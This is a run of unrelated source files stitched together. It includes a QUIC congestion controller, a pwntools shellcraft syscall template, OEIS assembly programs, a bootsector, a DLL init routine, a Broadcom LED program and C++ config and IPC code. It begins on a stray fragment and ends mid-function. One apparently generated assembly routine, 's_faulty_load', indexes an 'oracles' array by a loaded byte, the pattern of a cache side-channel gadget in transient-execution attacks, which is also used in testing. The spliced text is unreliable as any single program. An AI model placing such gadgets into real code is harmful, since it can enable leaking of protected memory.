00 00 00 00 00 00 00 00 00 00 00 */
/** @file * * A brief file description * * @section license License * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <tscore/Diags.h> #include <QUICLossDetector.h> #define QUICCCDebug(fmt, ...) \ Debug("quic_cc", \ "[%s] " \ "window: %" PRIu32 " bytes: %" PRIu32 " ssthresh: %" PRIu32 " extra: %" PRIu32 " " fmt, \ this->_context.connection_info()->cids().data(), this->_congestion_window, this->_bytes_in_flight, this->_ssthresh, \ this->_extra_packets_count, ##__VA_ARGS__) #define QUICCCError(fmt, ...) \ Error("quic_cc", \ "[%s] " \ "window: %" PRIu32 " bytes: %" PRIu32 " ssthresh: %" PRIu32 " extra %" PRIu32 " " fmt, \ this->_context.connection_info()->cids().data(), this->_congestion_window, this->_bytes_in_flight, this->_ssthresh, \ this->_extra_packets_count, ##__VA_ARGS__) QUICNewRenoCongestionController::QUICNewRenoCongestionController(QUICCCContext &context) : _cc_mutex(new_ProxyMutex()), _context(context) { auto &cc_config = context.cc_config(); this->_k_max_datagram_size = cc_config.max_datagram_size(); this->_k_initial_window = cc_config.initial_window(); this->_k_minimum_window = cc_config.minimum_window(); this->_k_loss_reduction_factor = cc_config.loss_reduction_factor(); this->_k_persistent_congestion_threshold = cc_config.persistent_congestion_threshold(); this->reset(); } void QUICNewRenoCongestionController::on_packet_sent(size_t bytes_sent) { SCOPED_MUTEX_LOCK(lock, this->_cc_mutex, this_ethread()); if (this->_extra_packets_count > 0) { --this->_extra_packets_count; } this->_bytes_in_flight += bytes_sent; } bool QUICNewRenoCongestionController::_in_congestion_recovery(ink_hrtime sent_time) { return sent_time <= this->_congestion_recovery_start_time; } bool QUICNewRenoCongestionController::is_app_limited() { // FIXME : don't known how does app worked here return false; } void QUICNewRenoCongestionController::on_packet_acked(const QUICPacketInfo &acked_packet) { // Remove from bytes_in_flight. SCOPED_MUTEX_LOCK(lock, this->_cc_mutex, this_ethread()); this->_bytes_in_flight -= acked_packet.sent_bytes; if (this->_in_congestion_recovery(acked_packet.time_sent)) { // Do not increase congestion window in recovery period. return; } if (this->is_app_limited()) { // Do not increase congestion_window if application // limited. return; } if (this->_congestion_window < this->_ssthresh) { // Slow start. this->_congestion_window += acked_packet.sent_bytes; QUICCCDebug("slow start window chaged"); } else { // Congestion avoidance. this->_congestion_window += this->_k_max_datagram_size * acked_packet.sent_bytes / this->_congestion_window; QUICCCDebug("Congestion avoidance window changed"); } } // addtional code // the original one is: // CongestionEvent(sent_time): void QUICNewRenoCongestionController::_congestion_event(ink_hrtime sent_time) { // Start a new congestion event if packet was sent after the // start of the previous congestion recovery period. if (!this->_in_congestion_recovery(sent_time)) { this->_congestion_recovery_start_time = Thread::get_hrtime(); this->_congestion_window *= this->_k_loss_reduction_factor; this->_congestion_window = std::max(this->_congestion_window, this->_k_minimum_window); this->_ssthresh = this->_congestion_window; } } // additional code // the original one is: // ProcessECN(ack): void QUICNewRenoCongestionController::process_ecn(const QUICPacketInfo &acked_largest_packet, const QUICAckFrame::EcnSection *ecn_section) { // If the ECN-CE counter reported by the peer has increased, // this could be a new congestion event. if (ecn_section->ecn_ce_count() > this->_ecn_ce_counter) { this->_ecn_ce_counter = ecn_section->ecn_ce_count(); // Start a new congestion event if the last acknowledged // packet was sent after the start of the previous // recovery epoch. this->_congestion_event(acked_largest_packet.time_sent); } } bool QUICNewRenoCongestionController::_in_persistent_congestion(const std::map<QUICPacketNumber, QUICPacketInfo *> &lost_packets, QUICPacketInfo *largest_lost_packet) { ink_hrtime period = this->_context.rtt_provider()->congestion_period(this->_k_persistent_congestion_threshold); // Determine if all packets in the window before the // newest lost packet, including the edges, are marked // lost return this->_in_window_lost(lost_packets, largest_lost_packet, period); } // additional code // the original one is: // OnPacketsLost(lost_packets): void QUICNewRenoCongestionController::on_packets_lost(const std::map<QUICPacketNumber, QUICPacketInfo *> &lost_packets) { if (lost_packets.empty()) { return; } SCOPED_MUTEX_LOCK(lock, this->_cc_mutex, this_ethread()); // Remove lost packets from bytes_in_flight. for (auto &lost_packet : lost_packets) { this->_bytes_in_flight -= lost_packet.second->sent_bytes; } QUICPacketInfo *largest_lost_packet = lost_packets.rbegin()->second; this->_congestion_event(largest_lost_packet->time_sent); // Collapse congestion window if persistent congestion if (this->_in_persistent_congestion(lost_packets, largest_lost_packet)) { this->_congestion_window = this->_k_minimum_window; } } bool QUICNewRenoCongestionController::check_credit() const { if (this->_bytes_in_flight >= this->_congestion_window) { QUICCCDebug("Congestion control pending"); } return this->_bytes_in_flight < this->_congestion_window; } uint32_t QUICNewRenoCongestionController::credit() const { if (this->_extra_packets_count) { return UINT32_MAX; } if (this->check_credit()) { return this->_congestion_window - this->_bytes_in_flight; } else { return 0; } } uint32_t QUICNewRenoCongestionController::bytes_in_flight() const { return this->_bytes_in_flight; } uint32_t QUICNewRenoCongestionController::congestion_window() const { return this->_congestion_window; } uint32_t QUICNewRenoCongestionController::current_ssthresh() const { return this->_ssthresh; } // [draft-17 recovery] 7.9.3. Initialization void QUICNewRenoCongestionController::reset() { SCOPED_MUTEX_LOCK(lock, this->_cc_mutex, this_ethread()); this->_bytes_in_flight = 0; this->_congestion_window = this->_k_initial_window; this->_congestion_recovery_start_time = 0; this->_ssthresh = UINT32_MAX; } bool QUICNewRenoCongestionController::_in_window_lost(const std::map<QUICPacketNumber, QUICPacketInfo *> &lost_packets, QUICPacketInfo *largest_lost_packet, ink_hrtime period) const { // check whether packets are continuous. return true if all continuous packets are in period QUICPacketNumber next_expected = UINT64_MAX; for (auto &it : lost_packets) { if (it.second->time_sent >= largest_lost_packet->time_sent - period) { if (next_expected == UINT64_MAX) { next_expected = it.second->packet_number + 1; continue; } if (next_expected != it.second->packet_number) { return false; } next_expected = it.second->packet_number + 1; } } return next_expected == UINT64_MAX ? false : true; } void QUICNewRenoCongestionController::add_extra_credit() { ++this->_extra_packets_count; }
<% from pwnlib.shellcraft.aarch64.linux import syscall %> <%page args="timerid"/> <%docstring> Invokes the syscall timer_delete. See 'man 2 timer_delete' for more information. Arguments: timerid(timer_t): timerid </%docstring> ${syscall('SYS_timer_delete', timerid)}
; A199590: Decimal expansion (unsigned) of the greatest root of 6x^3 + 18x^2 + 12x + 2 = 0. ; Submitted by Jon Maiga ; 2,5,7,7,7,2,8,0,1,0,3,1,4,4,0,8,4,4,7,2,9,4,4,9,3,9,7,2,7,0,6,3,5,8,2,2,7,0,8,9,4,4,1,2,5,7,0,0,9,7,7,3,1,9,7,8,2,3,1,4,6,3,9,3,9,5,8,0,8,6,4,4,5,7,6,7,3,0,5,3,7,0,8,5,8,2,4,9,9,8,0,0,3,1,0,1,5,7,2,3 add $0,1 mov $2,1 mov $3,$0 mul $3,3 lpb $3 add $1,$2 add $5,$2 add $1,$5 add $2,$1 add $5,$1 add $2,$5 sub $3,1 lpe add $2,$1 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
; A119713: First differences are 2, 5, 5, 9, 9, 9, 14, 14, 14, 14, ..., that is, A000096 with m-th term repeated m times (m>=1). ; 0,2,7,12,21,30,39,53,67,81,95,115,135,155,175,195,222,249,276,303,330,357,392,427,462,497,532,567,602,646,690,734,778,822,866,910,954,1008,1062,1116,1170,1224,1278,1332,1386,1440,1505,1570,1635,1700,1765,1830 mov $2,$0 lpb $2 mov $0,$2 lpb $0 add $4,1 trn $0,$4 add $1,$4 lpe add $1,$4 sub $2,1 mov $4,$3 lpe mov $0,$1
pla sta {m1} pla sta {m1}+1
; A317408: a(n) = n * Fibonacci(2n). ; 0,1,6,24,84,275,864,2639,7896,23256,67650,194821,556416,1578109,4449354,12480600,34852944,96949079,268746336,742675211,2046683100,5626200216,15430992126,42235173769,115380647424,314656725625,856733282574,2329224424344,6323840144076,17147315166491,46440262677600,125634925674311,339526715447136,916670371164504,2472597648436794,6663737174819725,17944344427653504,48283873162360309,129825275670454866,348831378627867096,936669133938707400,2513537419586075231,6741027040287417696,18068434051282055939,48403862248108484964,129603023746686725400,346845235018331935734,927792888333806488849,2480674025033199507456,6629790764890630556401,17711242408963095753750,47296007301847028957976,126250447876798704287556,336884270629362851153699,898615498533510437753184,2396172694237016460595775,6387320857452862350924264,17020834228681692814357464,45342896606997259351799346,120755955576965092797813781,321501555299457998452310400,855730365863433833234349421,2277057923741358313865765466,6057566894170160615532797784,16110644843747167241627152704,42837250403195952728862383975,113874752579236482094606645344,302645063208576255384383766779,804160958455284778397176653036,2136281320509592800993615971736,5673913006721645293804448602350,15066704202247483366895592076441,40000709104149073997089137010176,106177705119992405908516384862569,281784742781077876390686905919774,747691250789197753966080432015000,1983580855759135244952935799137724,5261412127440111028526335093317419,13953446113244287124081512455559776,36998937161390115146450923069678391,98090607631535063440013976167679600,260014601565944725745086442879656536,689131102303879060384988945395974186 mov $2,$0 lpb $0 sub $0,1 add $1,$2 add $2,$1 lpe mov $0,$1
; A017399: a(n) = (11*n)^11. ; 0,285311670611,584318301411328,50542106513726817,1196683881290399744,13931233916552734375,103510234140112521216,564154396389137449973,2450808588882738675712,8953382542587164451099,28531167061100000000000,81402749386839761113321,211988959518950443450368,511324276025564512546607,1155388203804953497544704,2467876294615567236328125,5019255990031848807858176,9778171990537733621073763,18336527447218512795850752,33236030376158771102541809,58431830141132800000000000,99938258857146531850367031,166712830744247830760081408,271847743804884990713499397,434153389094810508186353664,680236031081676483154296875,1047192117300356121695451136,1586064857271688421018834553,2366235041392544762971553792,3480947823559350267570691519,5054210651372681700000000000,7249334990994258712381121741,10279436267585226358493544448,14420252845630503161941475187,20025696236621278455959066624,27546601386188352049462890625,37553208211903514205902340096,50761973901033889039170022343,68067390210373163218005624832,90579561525100676704093790229,119668388129039974400000000000,157015295424696847215234267451,204673554139436097229551679488,265138349296877942293007763977,341427877364219557396646723584,437176881962263889213818359375,556744179312404460981246765056,705335875671998020885807527133,889146140866171920765652303872,1115517575161264114534437527939,1393123391655273437500000000000,1732173833607787897772353894161,2144649456231129337232283926528,2644564125962562988946446055767,3248260827692417886246573164544,3974743622404285210611376953125,4846049364771931674565742166016,5887663073045397824501973838923,7128981142649549347984776230912,8603826910927104440971352394649,10351023414011252121600000000000,12415028528548173886807771291871,14846638061556241842956537325568,17703762741766936677696968440557,21052285476014543582194779029504,24967005665310767214189794921875,29532677827851270475656141182976,34845152251059887455474717047713,41012625892600378277804168445952,48157012271803961449924277680359,56415439638913744997300000000000,65941887280686237315442668950581,76908970417978397093687992516608,89509884774760612440022641408347,103960522549317404752220205758464,120501772198025743961334228515625,139402015150844238270475519655936,160959833316325111905101066843503,185506942003406185889984082388992,213411363688294795410734005475069,245080858888273867571200000000000,280966631271107788718223484560291,321567325029779143096799779739648,367433333488435225275454781849137,419171438877565127126121839591424,477449804225475274466492333984375,543003339360006025816079900624896,616639464100068221849345290516293,699244292841921653548332489900032,791789265911123952990416304668779,895338254258716445109900000000000,1011055165330462462330165055011001,1140212079231804336089593374834688,1284197945649659948122178573052927,1444527873376251946774133815568384,1622853045710877495241299267578125,1820971296493920093728055918329856,2040838383054525369214961428956083,2284579993930268906566528057219072,2554504530844906743628446504951489 pow $0,11 mul $0,285311670611
; in add $0,$0 mul $0,$0 mov $1,$0 ; out mul $0,2 pow $0,2 mov $1,$0
; Bootsector that prints a message to the screen using BIOS routine [bits 16] ; Because the BIOS maps our bootsector to 0x7c00 we tell the assembler we will be mapped there so he ; corrects the offsets [org 0x7c00] KERNEL_OFFSET equ 0x1000 ; The memory offset to which we load our kernel mov [BOOT_DRIVE], dl ; BIOS stores the boot drive in dl mov bp, 0x9000 ; Setup the stack mov sp, bp mov bx, MSG_REAL_MODE call print_string call load_kernel call switch_to_pm ; Never return jmp $ load_kernel: mov bx, MSG_LOAD_KERNEL call print_string mov bx, KERNEL_OFFSET ; Load the first 15(just to be safe) sectors excluding the boot sector mov dh, 15 ; from our boot drive into the address 0x1000 which is the KERNEL_OFFSET mov dl, [BOOT_DRIVE] call disk_load ret %include "print_string.asm" %include "print_hex.asm" %include "read_disk.asm" %include "gdt.asm" %include "switch_to_pm.asm" [bits 32]: ; Arrive here after switching and initializing pm BEGIN_PM: mov ebx, MSG_PROT_MODE call print_string_pm call KERNEL_OFFSET ; Jump to the kernel code! jmp $ BOOT_DRIVE db 0 MSG_REAL_MODE db "Started in 16 bit real mode!", 0 MSG_PROT_MODE db "Successfully landed in 32 bit protected code!", 0 MSG_LOAD_KERNEL db "Loading kernel into memory!", 0 ;$$ is the start of the current position ;$ is the address of current position ;$-$$ is how far from the start we are. We need to fill bytes until byte 511 and 512 times 510-($-$$) db 0 ; Little endian dw 0xaa55
; COPYRIGHT (c) 1997 xTech Ltd. All Rights Reserved. ; COPYRIGHT (c) 2002, 2003 Excelsior LLC. All Rights Reserved. ; ; PE DLL initialization/termination routine cpu 386 bits 32 section .data use32 public align=4 public 'DATA' myHandle: dd 0 finals: dd 0 ; DLL FINALLY list head O2modules: dd 0 ; O2 type descriptors from modules of this DLL section .text use32 public align=4 public 'CODE' ;EXPORT ;------ global xDLLinit global X2C_FINALLY global X2C_INIT_HISTORY global X2C_MODULE global X2C_GetMyHandle ;//////////////////////// Entry point ///////////////////////////// ; Library initialization stack frame is defined as follow: ; ; EBP = 0 ; ; [ESP+0] = Return address to system, (EAX) = return code. ; ; [ESP+4] = Module handle for library module. ; ; [ESP+8] = reason for what the entry point is called ; ; [ESP+C] - reserved ; ; ; this proc MUST be Win32 StdCall one !!!!!!!!!!!!!!!!!!!!!! process_attach equ 1 process_detach equ 0 ; it has no reaction on thread attachment/detachment ( portable ) extern _dllmain extern X2C_EXITDLL ;PROCEDURE ["C"] X2C_DISABLE_COMPONENT ( component :xmRTS.X2C_MD ); extern X2C_DISABLE_COMPONENT ;PROCEDURE ["C"] X2C_HISTORY_REG (hmod, someAddr :ADDRESS); extern X2C_HISTORY_REG ;PROCEDURE ["C"] X2C_EXIT_HISTORY ( hmod :ADDRESS ); extern X2C_EXIT_HISTORY ;PROCEDURE ["C"] X2C_EXIT_PROFILER (isExe: BOOLEAN); extern X2C_EXIT_PROFILER ..start: xDLLinit: mov eax, [esp+8] cmp eax, process_attach je dllinit cmp eax, process_detach je dllterm mov eax, 1 ; rc is always TRUE ret 0CH dllinit: mov eax, [esp+4] mov [myHandle], eax push dword xDLLinit ; arbitrary addr from this code segment push eax call X2C_HISTORY_REG ; register before _dllmain to may work when DLL initialization sub esp, -08H call _dllmain mov eax, 1 ; rc is always TRUE ret 0CH dllterm: push 00H call X2C_EXIT_PROFILER push dword finals call X2C_EXITDLL push dword [myHandle] call X2C_EXIT_HISTORY ;unregister push dword [O2modules] call X2C_DISABLE_COMPONENT ;invalidate O2 types sub esp, -10H mov eax, 1 ; rc is always TRUE ret 0CH ;xDLLinit endp ;////////////////////////// Finalization ////////////////////////// ;PROCEDURE ["C"] X2C_FINALDLL ( VAR finalHead :ADDRESS; proc :PROC ); extern X2C_FINALDLL ;PROCEDURE ["C"] X2C_FINALLY ( p :PROC ); X2C_FINALLY: mov eax, [esp+4] push eax push dword finals call X2C_FINALDLL sub esp, -08H ret ;X2C_FINALLY endp ;///////////////////////////// History /////////////////////////////// ;PROCEDURE ["C"] X2C_HISTORY_ON (); extern X2C_HISTORY_ON ;PROCEDURE ["C"] X2C_INIT_HISTORY(); X2C_INIT_HISTORY: jmp X2C_HISTORY_ON ; to make showable ;X2C_INIT_HISTORY endp ;////////////////////// O2 modules unloading support ///////////////////// extern X2C_MODULEDLL ;PROCEDURE X2C_MODULEDLL (VAR component :xmRTS.X2C_MD; ; md :xmRTS.X2C_MD ; hmod :ADDRESS ); ;PROCEDURE ["C"] X2C_MODULE ( md :xmRTS.X2C_MD ); X2C_MODULE: push dword [myHandle] mov eax, [esp+8] ;md push eax push dword O2modules call X2C_MODULEDLL sub esp, -0CH ret ;X2C_MODULE endp ;////////////////////// DLLRTS support /////////////////////////////////// ;PROCEDURE ["C"] / X2C_GetMyHandle(): ADDRESS; X2C_GetMyHandle: mov eax, [myHandle] ret ;X2C_GetMyHandle endp
; ; ; ; This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. ; ; Copyright 2007-2019 Broadcom Inc. All rights reserved. ; ; ; This is the default program for the 5665 SDK (BCM95665K4S) ; ; To start it, use the following commands from BCM: ; ; 0:led load sdk5665.hex ; *:led start ; ; The BCM5665 SDK has 26 columns of 4 LEDs each, as shown below: ; ; L01 L03 L05 L07 L09 L11 L13 L15 L17 L19 ... L47 LG1 LG3 ; A01 A03 A05 A07 A09 A11 A13 A15 A17 A19 ... A47 AG1 LG3 ; L02 L04 L06 L08 L10 L12 L14 L16 L18 L20 ... L48 LG2 LG4 ; A02 A04 A06 A08 A10 A12 A14 A16 A18 A20 ... A48 AG2 LG4 ; ; There is one bit per LED with the following colors: ; ZERO Green ; ONE Black ; ; The bits are shifted out in the following order: ; A01, L01, ..., A48, L48, AG1, LG1, ..., AG4, LG4 ; ; Current implementation: ; ; L01 reflects port 1 link status ; A01 reflects port 1 activity ; ; On the bringup board, the LED polarity is 0 on, 1 off. ; ; MIN_FE_PORT EQU 0 BREAK_FE_PORT EQU 24 RESUME_FE_PORT EQU 32 MAX_FE_PORT EQU 55 STOP_FE_PORT EQU 56 NUM_FE_PORT EQU 48 MIN_GE_PORT EQU 24 MAX_GE_PORT EQU 27 STOP_GE_PORT EQU 28 NUM_GE_PORT EQU 4 MIN_PORT EQU 0 MAX_PORT EQU 55 NUM_PORT EQU 52 PACK_SRC EQU 0 PACK_DST EQU 128 PACK_NUM EQU 13 ; ; Main Update Routine ; ; This routine is called once per tick. ; update: sub a,a ; ld a,MIN_FE_PORT (but only one instr) up1: call doport cmp a,BREAK_FE_PORT jnz up1 ld a,RESUME_FE_PORT up2: call doport cmp a,STOP_FE_PORT jnz up2 ld a,MIN_GE_PORT up3: call doport cmp a,STOP_GE_PORT jnz up3 ; ; This bit is a workaround for a bug in the 5665 LED processor. ; ; The pack instruction should put the data into data mem at 0x80. ; However, the internal register to store this address is only 7 bits. ; So the data is packed starting at address 0. ; This leads to two caveats: ; ; 1) Port 0 data _MUST_ be consumed before the first pack instruction. ; ; 2) The output data must be moved from location 0 to location 128. ; ; sub b,b ; ld b,PACK_SRC (but only one instr) ld a,PACK_DST packmove: ld (a),(b) inc a inc b cmp b,PACK_NUM jnz packmove send 104 ; (48 + 4) * 2 bits doport: port a ld (PORT_NUM),a call link_status ; Lower LED for this port call activity ; Upper LED for this port ; We need to cache the output bits to not stomp Port 0 data. ld a,(LINK_CACHE) pushst a pack ld a,(ACT_CACHE) pushst a pack ld a,(PORT_NUM) inc a ret activity: pushst RX pop jc act_led_set pushst TX pop jc act_led_set ld a,ONE ; Off ld (ACT_CACHE),a ret act_led_set: ld a,ZERO ; On ld (ACT_CACHE),a ret link_status: ld a,(PORT_NUM) ; Check for link down ld b,PORTDATA add b,a ld b,(b) tst b,0 jnc ls_led_clear ld a,ZERO ; On ld (LINK_CACHE),a ret ls_led_clear: ld a,ONE ; Off ld (LINK_CACHE),a ret ; ; Variables (SDK software initializes LED memory from 0x80-0xff to 0) ; TXRX_ALT_COUNT equ 0xe0 HD_COUNT equ 0xe1 GIG_ALT_COUNT equ 0xe2 PORT_NUM equ 0xe3 LINK_CACHE equ 0xe4 ACT_CACHE equ 0xe5 ; ; Port data, which must be updated continually by main CPU's ; linkscan task. See $SDK/src/appl/diag/ledproc.c for examples. ; In this program, bit 0 is assumed to contain the link up/down status. ; PORTDATA equ 0xa0 ; Size 57 bytes ; ; Symbolic names for the bits of the port status fields ; RX equ 0x0 ; received packet TX equ 0x1 ; transmitted packet COLL equ 0x2 ; collision indicator SPEED_C equ 0x3 ; 100 Mbps SPEED_M equ 0x4 ; 1000 Mbps DUPLEX equ 0x5 ; half/full duplex FLOW equ 0x6 ; flow control capable LINKUP equ 0x7 ; link down/up status LINKEN equ 0x8 ; link disabled/enabled status ZERO equ 0xE ; always 0 ONE equ 0xF ; always 1
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r15 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_A_ht+0xfa5d, %r12 nop nop nop nop cmp %r8, %r8 movups (%r12), %xmm1 vpextrq $0, %xmm1, %rsi nop dec %r15 lea addresses_A_ht+0x130fd, %r14 xor %r12, %r12 mov (%r14), %di nop nop and %rdi, %rdi lea addresses_D_ht+0x357d, %rsi lea addresses_WT_ht+0x45, %rdi nop nop nop nop cmp %r9, %r9 mov $117, %rcx rep movsw nop and %rdi, %rdi lea addresses_WT_ht+0x1a2fd, %r12 sub $58383, %r14 mov (%r12), %cx nop nop add %r14, %r14 lea addresses_WT_ht+0x190fd, %rsi lea addresses_A_ht+0x194fd, %rdi nop nop nop nop inc %r8 mov $121, %rcx rep movsb nop nop nop cmp $40691, %r14 lea addresses_UC_ht+0x17b8f, %r12 nop nop inc %r9 mov (%r12), %esi nop nop nop sub %r9, %r9 lea addresses_UC_ht+0xdd54, %r14 inc %r15 vmovups (%r14), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %rcx nop nop nop sub $60986, %r14 pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r9 push %rax push %rbp push %rsi // Store lea addresses_WT+0xeefd, %rax inc %r11 mov $0x5152535455565758, %rbp movq %rbp, %xmm1 movups %xmm1, (%rax) nop nop sub %r11, %r11 // Faulty Load mov $0x2fd, %rax nop nop nop sub %r11, %r11 mov (%rax), %r9 lea oracles, %rax and $0xff, %r9 shlq $12, %r9 mov (%rax,%r9,1), %r9 pop %rsi pop %rbp pop %rax pop %r9 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_P', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_P', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'f5': 1, 'e0': 6, 'c0': 14} c0 c0 c0 c0 c0 c0 c0 e0 f5 c0 e0 e0 e0 c0 e0 c0 e0 c0 c0 c0 c0 */
#include "IPCPackets.h" using namespace simplefs; int LSeekRequest::getBaseLength() { return sizeof(unsigned int) + 3 * sizeof(int); } void LSeekRequest::deserializeBase(const char* data) { fd = *(const int*)data; data += sizeof(int); offset = *(const int*)data; data += sizeof(int); whence = *(const int*)data; } void LSeekRequest::serialize(char* data) { *(unsigned int*)data = ID; data += sizeof(unsigned int); *(int*)data = fd; data += sizeof(int); *(int*)data = offset; data += sizeof(int); *(int*)data = whence; } int LSeekRequest::getFD() { return fd; } void LSeekRequest::setFD(int fd) { this->fd = fd; } int LSeekRequest::getOffset() { return offset; } void LSeekRequest::setOffset(int offset) { this->offset = offset; } int LSeekRequest::getWhence() { return whence; } void LSeekRequest::setWhence(int whence) { this->whence = whence; }
; Set Printer Aborted Message V2.00  1994 Tony Tebby section iou xdef iob_ptab xref met_ptab ;+++ ; This routine sets the printer aborted message ; ; a1 r message ;-- iob_ptab lea met_ptab,a1 rts end
; A193976: Mirror of the triangle A193975. ; Submitted by Christian Krause ; 2,8,3,20,11,4,40,26,14,5,70,50,32,17,6,112,85,60,38,20,7,168,133,100,70,44,23,8,240,196,154,115,80,50,26,9,330,276,224,175,130,90,56,29,10,440,375,312,252,196,145,100,62,32,11,572,495,420,348,280,217 mov $2,$0 lpb $2 add $0,$1 add $0,3 sub $1,1 add $2,$1 lpe sub $2,1 add $1,$2 bin $1,2 add $2,$0 add $2,13 mul $1,$2 mov $0,$1 div $0,6
#include "SpeakerConfig.hh" #include "str.hh" namespace aku { SpeakerConfig::SpeakerConfig(FeatureGenerator &fea_gen, HmmSet *model) : m_fea_gen(fea_gen), m_model(model) { m_cur_speaker = ""; m_cur_utterance = ""; m_default_speaker_set = false; m_default_utterance_set = false; if(model != NULL) m_model_trans.set_model(model); } void SpeakerConfig::read_speaker_file(FILE *file) { std::string line; int lineno = 0; bool fetch_default; std::string speaker_id; SpeakerMap::iterator speaker_it; bool fetch_speaker; while (str::read_line(&line, file, true)) { fetch_default = false; lineno++; str::clean(&line, " \t"); if (line.empty()) continue; std::vector<std::string> fields; str::split(&line, " \t", true, &fields); if (fields.size() != 2 || (fields[0] != "speaker" && fields[0] != "utterance")) throw str::fmt(256, "SpeakerConfig: Syntax error on line %d: ", lineno) + line; if (fields[1] == "default") fetch_default = true; if (fields[0] == "speaker") { if (fetch_default && m_default_speaker_set) throw str::fmt(256, "SpeakerConfig: Default speaker configuration already defined, redefinition on line %d: ", lineno) + line; fetch_speaker = true; if (!fetch_default) { ModuleMap dummy; SpeakerMap::value_type v(fields[1], dummy); speaker_it = m_speaker_config.insert(v).first; } else m_default_speaker_set = true; } else // "utterance" { if (fetch_default && m_default_utterance_set) throw str::fmt(256, "SpeakerConfig: Default utterance configuration already defined, redefinition on line %d: ", lineno) + line; fetch_speaker = false; if (!fetch_default) { ModuleMap dummy; SpeakerMap::value_type v(fields[1], dummy); speaker_it = m_utterance_config.insert(v).first; } else m_default_utterance_set = true; } while (str::read_line(&line, file, true)) { lineno++; str::clean(&line, " \t"); if (line.empty()) continue; if (line != "{") throw std::string("'{' expected in speaker config file: ") + line; break; } // Read the modules while (str::read_line(&line, file, true)) { lineno++; str::clean(&line, " \t"); if (line.empty()) continue; if (line == "}") { // End of speaker/utterance configuration break; } // line should now contain the module name // if line does not start with model, it's assumed to be a feature module std::vector<std::string> parts; str::split(&line, " \t", true, &parts, 2); if(parts.size() < 2) { line = "feature "+line; str::split(&line, " \t", true, &parts, 2); //throw str::fmt(256, "Warning: feature namespace assumed at line %d", lineno); } else { if(parts[0] != "model" && parts[0] != "feature") throw str::fmt(256, "SpeakerConfig: Unknown module namespace at line %d", lineno); } assert(parts.size() == 2); try { if(parts[0] == "feature") m_fea_gen.module(parts[1]); if(parts[0] == "model") m_model_trans.module(parts[1]); } catch (std::string &str) { throw str::fmt(256, "SpeakerConfig: error on line %d: ", lineno) + str; } // Read module config ModuleConfig config; try { config.read(file); } catch (std::string &str) { lineno += config.num_lines_read(); throw str::fmt(256, "SpeakerConfig: Failed reading module parameters around line %d: ", lineno) + str; } ModuleMap::value_type v(line, config); if (fetch_default) { if (fetch_speaker) m_default_speaker_config.insert(v); else m_default_utterance_config.insert(v); } else (*speaker_it).second.insert(v); lineno += config.num_lines_read(); } } } void SpeakerConfig::write_speaker_file(FILE *file, std::set<std::string> *speakers, std::set<std::string> *utterances) { if (m_cur_speaker.size() > 0) retrieve_speaker_config(m_cur_speaker); if (m_cur_utterance.size() > 0) retrieve_utterance_config(m_cur_utterance); // Write default speaker configuration if (m_default_speaker_set && (speakers == NULL || speakers->find("default") != speakers->end())) { fputs("speaker default\n{\n", file); for (ModuleMap::const_iterator module_it=m_default_speaker_config.begin(); module_it != m_default_speaker_config.end(); module_it++) { fprintf(file, " %s\n", (*module_it).first.c_str()); (*module_it).second.write(file, 2); fputs("\n", file); } fputs("}\n\n",file); } // Write speaker configurations for (SpeakerMap::const_iterator speaker_it = m_speaker_config.begin(); speaker_it != m_speaker_config.end(); speaker_it++) { if (speakers == NULL || speakers->find((*speaker_it).first) != speakers->end()) { fprintf(file, "speaker %s\n{\n", (*speaker_it).first.c_str()); for (ModuleMap::const_iterator module_it = (*speaker_it).second.begin(); module_it != (*speaker_it).second.end(); module_it++) { fprintf(file, " %s\n", (*module_it).first.c_str()); (*module_it).second.write(file, 2); fputs("\n", file); } fputs("}\n\n",file); } } // Write default utterance configuration if (m_default_utterance_set && (utterances == NULL || utterances->find("default") != utterances->end())) { fputs("utterance default\n{\n", file); for (ModuleMap::const_iterator module_it = m_default_utterance_config.begin(); module_it != m_default_utterance_config.end(); module_it++) { fprintf(file, " %s\n", (*module_it).first.c_str()); (*module_it).second.write(file, 2); fputs("\n", file); } fputs("}\n\n",file); } // Write utterance configurations for (SpeakerMap::const_iterator ut_it = m_utterance_config.begin(); 